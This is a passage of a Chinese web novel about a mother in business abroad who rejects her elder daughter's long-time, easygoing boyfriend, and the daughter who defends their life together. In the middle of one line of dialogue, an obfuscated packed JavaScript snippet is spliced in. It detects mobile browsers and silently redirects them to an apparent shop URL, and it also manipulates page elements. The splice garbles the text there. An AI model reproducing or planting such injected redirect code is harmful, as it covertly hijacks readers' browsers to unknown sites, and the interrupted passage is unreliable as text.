曲欣:“生意挺大的,做主惯了是这样的。” 没多久王钦又来消息:我大姨来找你了吗小神婆? 得知她只问了生意,王钦还惊讶:我以为她会问我大表姐结婚的事。 曲欣顺手打字,其实已经看得差不多:你大表姐什么情况。 王钦:我大表姐谈了五年的对象她不满意。。。没事,她没说就算了。 王钦她大表姐去年开始想结婚,大姨不同意,拖到今年,二表姐要结婚了,家里都觉得该先解决大表姐的人生大事吧,大姨非让大表姐分手去相亲。 王钦她这两个表姐是双胞胎,现在大表姐柯曼在国内上班,二表姐柯宛则跟着她妈在国外做生意。 曼表姐性格比较佛系,没想过出国,宛表姐精明一点,大学后工作不满意就去了她妈林娥那边,和她男朋友也有几年了,现在得在年底结婚。 具体什么原因王钦不知道,可能是有小宝宝了。 问题是王钦她大姨对大女儿的对象况宏非常,非常不满意,从几年前柯曼介绍给她就不同意,这么多年对况宏没一个好脸色,现在强烈反对他们结婚。 偏偏大表姐柯曼和她男朋友况宏实习认识,在一起整整五年,从没吵过架,感情好得很——她也坚决不答应分手相什么亲。 林娥的意思是让她也去国外,那边她认识的青年才俊好几个,比国内这个没本事的强多了。柯曼则习惯了国内生活,根本不考虑出国。 问题来了,林娥虽然是三年前才离的婚,但感情破裂出国已经十几年,两个女儿养在国内,爸爸是个生意失败的赌鬼,基本不管姐妹俩。 两姊妹这么多年的学费生活费都是妈妈出的,妈妈这边亲戚好友对两姐妹也很上心,平时有什么事都是找出国经商的妈妈。 柯曼和她妈虽然在结婚的事上意见相左,在感情上却联系紧密,做不出不考虑林娥意见的事。 事情就僵在这里,王钦和她妈都搞不懂林娥对大女儿的男朋友那么看不上。 林眉也劝过大姐:“曼曼和况宏有什么不好?况宏也有房有车,工资六千多,比不上你做生意,在国内可以了。” “曼曼说她就喜欢现在平平淡淡的生活,她和况宏各方面合得来,下了班一起做饭,有假就去旅游,这样的生活也没什么不好。” 林娥反应强烈:“有什么不好?哪里都不好!我还会害她,她是我女儿!我看到那个姓况的就不靠谱,跟曼儿她爹一模一样!” 林眉说:“哪里一样,你是心里看他有刺,其实他性格挺好。” “性格好,性格好有什么用,姓柯的以前性格不好?我说一步他做一步,那不好得很!结果呢,做了赌狗,没一点良心,嘴上赌咒发誓,根本控制不了自己,欠那么多债,我要不是看得开,我早上吊死了!” 林娥提到这个烦躁,她也确实为前夫受了不少苦。 但况宏是况宏,人家好好的,从没听说有什么不良劣迹,怎么就扯上赌鬼了。 林眉跟大姐说不通,但总算知道她对况宏有这种心结,于是转告柯曼,柯曼很无语:“况宏和我爹哪里像了,她就是心里偏见。” 林眉也不知怎么说:“她是被你爸害怕了。” “那跟况宏有什么关系,她就是想我也去国外。” 林眉连忙:“哎你可不能这么跟你妈说,她肯定生气。” 柯曼:“她反正是大脾气,我都不知道我妹怎么受得了她。” 话虽如此,柯曼还是想和她妈好好沟通,一个视频打过去,聊到况宏,没几句又吵起来,或者说是林娥单方面的发脾气。 柯曼很无力:“你到底对他哪里不满意?” 林娥:“我哪里都不满意!大手大脚就不说,没一点规划,找个工作每天上八小时班,下班就玩那个游戏,不想一点工作上的事!” “你自己也是,跟着他每天不想事,你两个都是啃老知道吗?积蓄就那么一点,生场病就得找人借,你是不是以为很快活呢!” “……”柯曼心虚,“我那是倒霉,正好被骗了,去旅游行李箱被偷,我也不知道吃路边摊会进医院啊!” “你那是一点点倒霉吗?” 林娥说着就气:“两个都没脑子,走出去行李箱被偷,机票全废了,都这样了还要去玩,下地吃到急性肠胃炎,中毒性休克进ICU,你是不是很得意?” 房间里的妹妹柯宛为避免殃及池鱼,默默走出门外。 “你们那是一点点倒霉?你们凑到一起就倒霉!工作五年了,一问存款加起来两万多,不是被车撞了,就是被狗咬了,被健身房骗了,每天那么多人,就你俩倒霉?” 柯曼生气:“我难道骗过你吗?就是这样啊。” 林娥:“所以他克你!” 柯曼:“你不是说你不迷信。” 林娥:“那就你克他,你们互相克!我是不想管你,我看你们两个没脑子,我看到就来气。我给你找个能管事的不好?你妹自己能干,我不担心她吃亏,你呢?” 柯曼有点感动:“我也不会吃亏,况宏对我好!” “对你好有什么用?现在不奋斗,一到中年遇到事,那就是纸糊的幸运,屁用没有!他还没爹妈,你是觉得不用管婆媳关系很高兴?没人帮衬,小孩都不知道怎么养!” “你也老大不小了,你妹妹来我这,以后肯定接手我生意。你呢,有个什么万一,还让你妹妹接济你?” “就是你妹妹愿意,我不想!我不想你们姐妹差距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152274|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉大,这样扶贫以后感情能好?你看看你小姨,她倒是犟,不肯被接济,你看她现在好过?” 林娥格外愤怒,她是人到中年,体会过突然间负债上百万的痛苦,没钱就是没脸,没尊严,没钱什么都不是! 她想给女儿好过一点的人生,女儿不愿意,她宁愿守着她那没用的男朋友,和他成天傻乐,不着四六,只知道吃这个,玩那个,一点不想以后。 这怎么行?他要是家里大富大贵,她马上闭嘴,一句话不说。 可那况宏爹妈没有,有个奶奶能管几时?说什么房车都有,平时什么都不缺,不缺就有多少花多少,到头来住院了还要找人借? 林娥太焦虑了,这么下去,大女儿简直是她曾经的翻版。 可柯曼总有她的理由:“那我们现在就攒钱,我年底就攒到五万,行不行?” 林娥强忍怒气:“你们之前那么久干嘛去了?” 柯曼语塞,她也不知道干嘛了:“以前心里没数,现在有数了,我们肯定好好攒钱。” 林娥:“这是攒不攒钱的问题吗?是你们两个都不晓事!” 柯曼:“我们总会晓事,可况宏对我好,我喜欢他,我以后还能找到他这样的吗?” 她年轻的眼睛看不到以后,她只想着人家对她好,他们两个最快乐。 柯曼细数况宏的好处:“我实习摔到腿,是他每天照顾我,给我带饭,送我上下班,那会才确定关系半个月,他给我洗头,换药,从没一点不耐烦。” 林娥又生气:“那是你不告诉我,你要告诉我,我马上给你请个保姆,出点钱的事,用得着你来回惦记?” 柯曼:“可这就是我需要的,我不求多少多少钱,我只求这个人!” “我准备考公的时候,他鼓励我,帮我找岗,帮我保持信心,最后没考上,那一年都是他负担我生活费,给我做饭,照顾我给我做各种准备。” 林娥又说:“你没钱吗?我没给你钱?用他那每月一两千就感恩戴德,我以前给你生活费你怎么不记我的好?” 柯曼:“我哪里有不记你的好?我一直知道你对我好啊,所以我不想……我想你能理解我,接受我就是个普通人。” 柯曼将手机拿远一点,很认真的说:“像后来我没面上,很失望,打退堂鼓了,他听我说完,一句话没讲我,我说要散心,他马上带我去。” “你说我们倒霉,倒霉他从来不怪我,我也不怪他,我们就是闯了祸,从不互相推卸责任。行李箱丢了可惜,但总要吃点好吃的。” “就是进医院又怎么样嘛,不是我们故意想进医院,躺在医院也是一种体验。我们也有好好工作,下班了玩游戏不很正常?” “好好吃饭,放假了好好玩,我们就是……生活上,性格上都合拍,这就是我想要的,我也没什么大志向,我就喜欢现在的生活!” “你说担心我们以后,那我现在就学,我和他一起学着攒钱,学着不被人骗,学着更成熟一点,我相信我们能做到。” “我希望你不用那么担心我,你可以看看我们的变化,好吗?”